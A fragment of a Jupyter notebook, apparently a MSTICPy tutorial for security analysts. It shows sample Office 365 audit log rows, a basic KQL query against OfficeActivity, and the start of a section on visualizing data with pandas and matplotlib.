       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>TenantId</th>\n",
       "      <th>Application</th>\n",
       "      <th>UserDomain</th>\n",
       "      <th>UserAgent</th>\n",
       "      <th>RecordType</th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>Operation</th>\n",
       "      <th>OrganizationId</th>\n",
       "      <th>OrganizationId_</th>\n",
       "      <th>UserType</th>\n",
       "      <th>UserKey</th>\n",
       "      <th>OfficeWorkload</th>\n",
       "      <th>ResultStatus</th>\n",
       "      <th>ResultReasonType</th>\n",
       "      <th>OfficeObjectId</th>\n",
       "      <th>UserId</th>\n",
       "      <th>UserId_</th>\n",
       "      <th>ClientIP</th>\n",
       "      <th>ClientIP_</th>\n",
       "      <th>Scope</th>\n",
       "      <th>Site_</th>\n",
       "      <th>ItemType</th>\n",
       "      <th>EventSource</th>\n",
       "      <th>Source_Name</th>\n",
       "      <th>MachineDomainInfo</th>\n",
       "      <th>...</th>\n",
       "      <th>ChannelType</th>\n",
       "      <th>ChannelName</th>\n",
       "      <th>ChannelGuid</th>\n",
       "      <th>ExtraProperties</th>\n",
       "      <th>AddOnType</th>\n",
       "      <th>AddonName</th>\n",
       "      <th>TabType</th>\n",
       "      <th>Name</th>\n",
       "      <th>OldValue</th>\n",
       "      <th>NewValue</th>\n",
       "      <th>ItemName</th>\n",
       "      <th>ChatThreadId</th>\n",
       "      <th>ChatName</th>\n",
       "      <th>CommunicationType</th>\n",
       "      <th>AADGroupId</th>\n",
       "      <th>AddOnGuid</th>\n",
       "      <th>AppDistributionMode</th>\n",
       "      <th>TargetUserId</th>\n",
       "      <th>OperationScope</th>\n",
       "      <th>AzureADAppId</th>\n",
       "      <th>OperationProperties</th>\n",
       "      <th>AppId</th>\n",
       "      <th>ClientAppId</th>\n",
       "      <th>Type</th>\n",
       "      <th>_ResourceId</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>50</td>\n",
       "      <td>2021-06-28 12:29:44+00:00</td>\n",
       "      <td>MailItemsAccessed</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>Regular</td>\n",
       "      <td>100320003F8A6FC7</td>\n",
       "      <td>Exchange</td>\n",
       "      <td>Succeeded</td>\n",
       "      <td>Succeeded</td>\n",
       "      <td></td>\n",
       "      <td>MeganB@seccxp.ninja</td>\n",
       "      <td>MeganB@seccxp.ninja</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>...</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>[{'Name': 'MailAccessType', 'Value': 'Bind'}, {'Name': 'IsThrottled', 'Value': 'False'}]</td>\n",
       "      <td>414a677a-e50f-46ea-b89c-aebb8a9efbe2</td>\n",
       "      <td></td>\n",
       "      <td>OfficeActivity</td>\n",
       "      <td></td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>50</td>\n",
       "      <td>2021-06-28 12:29:44+00:00</td>\n",
       "      <td>MailItemsAccessed</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>Regular</td>\n",
       "      <td>100320003F8A6FC7</td>\n",
       "      <td>Exchange</td>\n",
       "      <td>Succeeded</td>\n",
       "      <td>Succeeded</td>\n",
       "      <td></td>\n",
       "      <td>MeganB@seccxp.ninja</td>\n",
       "      <td>MeganB@seccxp.ninja</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>...</td>\n",
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       "      <td></td>\n",
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       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
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       "      <td></td>\n",
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       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>[{'Name': 'MailAccessType', 'Value': 'Bind'}, {'Name': 'IsThrottled', 'Value': 'False'}]</td>\n",
       "      <td>414a677a-e50f-46ea-b89c-aebb8a9efbe2</td>\n",
       "      <td></td>\n",
       "      <td>OfficeActivity</td>\n",
       "      <td></td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>ExchangeAdmin</td>\n",
       "      <td>2021-06-28 12:29:33+00:00</td>\n",
       "      <td>Set-User</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>DcAdmin</td>\n",
       "      <td>NT AUTHORITY\\SYSTEM (Microsoft.Exchange.Management.ForwardSync)</td>\n",
       "      <td>Exchange</td>\n",
       "      <td>True</td>\n",
       "      <td>True</td>\n",
       "      <td>NAMPR06A007.PROD.OUTLOOK.COM/Microsoft Exchange Hosted Organizations/seccxpninja.onmicrosoft.com...</td>\n",
       "      <td>NT AUTHORITY\\SYSTEM (Microsoft.Exchange.Management.ForwardSync)</td>\n",
       "      <td>NT AUTHORITY\\SYSTEM (Microsoft.Exchange.Management.ForwardSync)</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>...</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>OfficeActivity</td>\n",
       "      <td></td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>ExchangeAdmin</td>\n",
       "      <td>2021-06-28 12:38:05+00:00</td>\n",
       "      <td>Set-User</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>DcAdmin</td>\n",
       "      <td>NT AUTHORITY\\SYSTEM (Microsoft.Exchange.Management.ForwardSync)</td>\n",
       "      <td>Exchange</td>\n",
       "      <td>True</td>\n",
       "      <td>True</td>\n",
       "      <td>NAMPR06A007.PROD.OUTLOOK.COM/Microsoft Exchange Hosted Organizations/seccxpninja.onmicrosoft.com...</td>\n",
       "      <td>NT AUTHORITY\\SYSTEM (Microsoft.Exchange.Management.ForwardSync)</td>\n",
       "      <td>NT AUTHORITY\\SYSTEM (Microsoft.Exchange.Management.ForwardSync)</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>...</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>OfficeActivity</td>\n",
       "      <td></td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>50</td>\n",
       "      <td>2021-06-28 14:46:35+00:00</td>\n",
       "      <td>MailItemsAccessed</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>Regular</td>\n",
       "      <td>100320003F8A6FC7</td>\n",
       "      <td>Exchange</td>\n",
       "      <td>Succeeded</td>\n",
       "      <td>Succeeded</td>\n",
       "      <td></td>\n",
       "      <td>MeganB@seccxp.ninja</td>\n",
       "      <td>MeganB@seccxp.ninja</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>...</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>[{'Name': 'MailAccessType', 'Value': 'Bind'}, {'Name': 'IsThrottled', 'Value': 'False'}]</td>\n",
       "      <td>414a677a-e50f-46ea-b89c-aebb8a9efbe2</td>\n",
       "      <td></td>\n",
       "      <td>OfficeActivity</td>\n",
       "      <td></td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "<p>5 rows × 131 columns</p>\n",
       "</div>"
      ],
      "text/plain": [
       "                               TenantId Application UserDomain UserAgent  \\\n",
       "0  8ecf8077-cf51-4820-aadd-14040956f35d                                    \n",
       "1  8ecf8077-cf51-4820-aadd-14040956f35d                                    \n",
       "2  8ecf8077-cf51-4820-aadd-14040956f35d                                    \n",
       "3  8ecf8077-cf51-4820-aadd-14040956f35d                                    \n",
       "4  8ecf8077-cf51-4820-aadd-14040956f35d                                    \n",
       "\n",
       "      RecordType             TimeGenerated          Operation  \\\n",
       "0             50 2021-06-28 12:29:44+00:00  MailItemsAccessed   \n",
       "1             50 2021-06-28 12:29:44+00:00  MailItemsAccessed   \n",
       "2  ExchangeAdmin 2021-06-28 12:29:33+00:00           Set-User   \n",
       "3  ExchangeAdmin 2021-06-28 12:38:05+00:00           Set-User   \n",
       "4             50 2021-06-28 14:46:35+00:00  MailItemsAccessed   \n",
       "\n",
       "                         OrganizationId                       OrganizationId_  \\\n",
       "0  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   \n",
       "1  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   \n",
       "2  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   \n",
       "3  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   \n",
       "4  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   \n",
       "\n",
       "  UserType                                                          UserKey  \\\n",
       "0  Regular                                                 100320003F8A6FC7   \n",
       "1  Regular                                                 100320003F8A6FC7   \n",
       "2  DcAdmin  NT AUTHORITY\\SYSTEM (Microsoft.Exchange.Management.ForwardSync)   \n",
       "3  DcAdmin  NT AUTHORITY\\SYSTEM (Microsoft.Exchange.Management.ForwardSync)   \n",
       "4  Regular                                                 100320003F8A6FC7   \n",
       "\n",
       "  OfficeWorkload ResultStatus ResultReasonType  \\\n",
       "0       Exchange    Succeeded        Succeeded   \n",
       "1       Exchange    Succeeded        Succeeded   \n",
       "2       Exchange         True             True   \n",
       "3       Exchange         True             True   \n",
       "4       Exchange    Succeeded        Succeeded   \n",
       "\n",
       "                                                                                        OfficeObjectId  \\\n",
       "0                                                                                                        \n",
       "1                                                                                                        \n",
       "2  NAMPR06A007.PROD.OUTLOOK.COM/Microsoft Exchange Hosted Organizations/seccxpninja.onmicrosoft.com...   \n",
       "3  NAMPR06A007.PROD.OUTLOOK.COM/Microsoft Exchange Hosted Organizations/seccxpninja.onmicrosoft.com...   \n",
       "4                                                                                                        \n",
       "\n",
       "                                                            UserId  \\\n",
       "0                                              MeganB@seccxp.ninja   \n",
       "1                                              MeganB@seccxp.ninja   \n",
       "2  NT AUTHORITY\\SYSTEM (Microsoft.Exchange.Management.ForwardSync)   \n",
       "3  NT AUTHORITY\\SYSTEM (Microsoft.Exchange.Management.ForwardSync)   \n",
       "4                                              MeganB@seccxp.ninja   \n",
       "\n",
       "                                                           UserId_ ClientIP  \\\n",
       "0                                              MeganB@seccxp.ninja            \n",
       "1                                              MeganB@seccxp.ninja            \n",
       "2  NT AUTHORITY\\SYSTEM (Microsoft.Exchange.Management.ForwardSync)            \n",
       "3  NT AUTHORITY\\SYSTEM (Microsoft.Exchange.Management.ForwardSync)            \n",
       "4                                              MeganB@seccxp.ninja            \n",
       "\n",
       "  ClientIP_ Scope Site_ ItemType EventSource Source_Name MachineDomainInfo  \\\n",
       "0                                                                            \n",
       "1                                                                            \n",
       "2                                                                            \n",
       "3                                                                            \n",
       "4                                                                            \n",
       "\n",
       "   ... ChannelType ChannelName ChannelGuid ExtraProperties AddOnType  \\\n",
       "0  ...                                                None             \n",
       "1  ...                                                None             \n",
       "2  ...                                                None             \n",
       "3  ...                                                None             \n",
       "4  ...                                                None             \n",
       "\n",
       "  AddonName TabType Name OldValue NewValue ItemName ChatThreadId ChatName  \\\n",
       "0                                                                           \n",
       "1                                                                           \n",
       "2                                                                           \n",
       "3                                                                           \n",
       "4                                                                           \n",
       "\n",
       "  CommunicationType AADGroupId AddOnGuid AppDistributionMode TargetUserId  \\\n",
       "0                                                                           \n",
       "1                                                                           \n",
       "2                                                                           \n",
       "3                                                                           \n",
       "4                                                                           \n",
       "\n",
       "  OperationScope AzureADAppId  \\\n",
       "0                               \n",
       "1                               \n",
       "2                               \n",
       "3                               \n",
       "4                               \n",
       "\n",
       "                                                                        OperationProperties  \\\n",
       "0  [{'Name': 'MailAccessType', 'Value': 'Bind'}, {'Name': 'IsThrottled', 'Value': 'False'}]   \n",
       "1  [{'Name': 'MailAccessType', 'Value': 'Bind'}, {'Name': 'IsThrottled', 'Value': 'False'}]   \n",
       "2                                                                                      None   \n",
       "3                                                                                      None   \n",
       "4  [{'Name': 'MailAccessType', 'Value': 'Bind'}, {'Name': 'IsThrottled', 'Value': 'False'}]   \n",
       "\n",
       "                                  AppId ClientAppId            Type  \\\n",
       "0  414a677a-e50f-46ea-b89c-aebb8a9efbe2              OfficeActivity   \n",
       "1  414a677a-e50f-46ea-b89c-aebb8a9efbe2              OfficeActivity   \n",
       "2                                                    OfficeActivity   \n",
       "3                                                    OfficeActivity   \n",
       "4  414a677a-e50f-46ea-b89c-aebb8a9efbe2              OfficeActivity   \n",
       "\n",
       "  _ResourceId  \n",
       "0              \n",
       "1              \n",
       "2              \n",
       "3              \n",
       "4              \n",
       "\n",
       "[5 rows x 131 columns]"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "# Define our query\r\n",
    "test_query = \"\"\"\r\n",
    "OfficeActivity\r\n",
    "| where TimeGenerated > ago(1d)\r\n",
    "| take 5\r\n",
    "\"\"\"\r\n",
    "\r\n",
    "# Pass that query to our QueryProvider\r\n",
    "if qry_prov.environment == \"LocalData\":\r\n",
    "    print(\"exec_query not supported for local data\")\r\n",
    "    print(test_query)\r\n",
    "else:\r\n",
    "    office_events_df = qry_prov.exec_query(test_query)\r\n",
    "    display(office_events_df)\r\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Learn more:\r\n",
    "\r\n",
    " - You can learn more about the MSTICpy pre-defined queries in the [MSTICPy Documentation](https://msticpy.readthedocs.io/en/latest/data_acquisition/DataProviders.html#running-an-pre-defined-query)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "---\r\n",
    "\r\n",
    "# Visualizing data\r\n",
    "\r\n",
    "## 1 - Using pandas and matplotlib\r\n",
    "\r\n",
    "Visualizing data can provide an excellent way to analyse data, identify patterns and anomalies. \r\n",
    "\r\n",
    "Python has a wide range of data visualization packages each of which have their own benefits and drawbacks.\r\n",
    "We will look at some basic capabilities as well as one of the visualizations in MSTICPy.\r\n",
    "<br><br><br>\r\n",
    "**Basic Graphs**<br>\r\n",
    "Pandas and Matplotlib provide the easiest and simplest way to produce simple plots of data:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 23,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "image/png": 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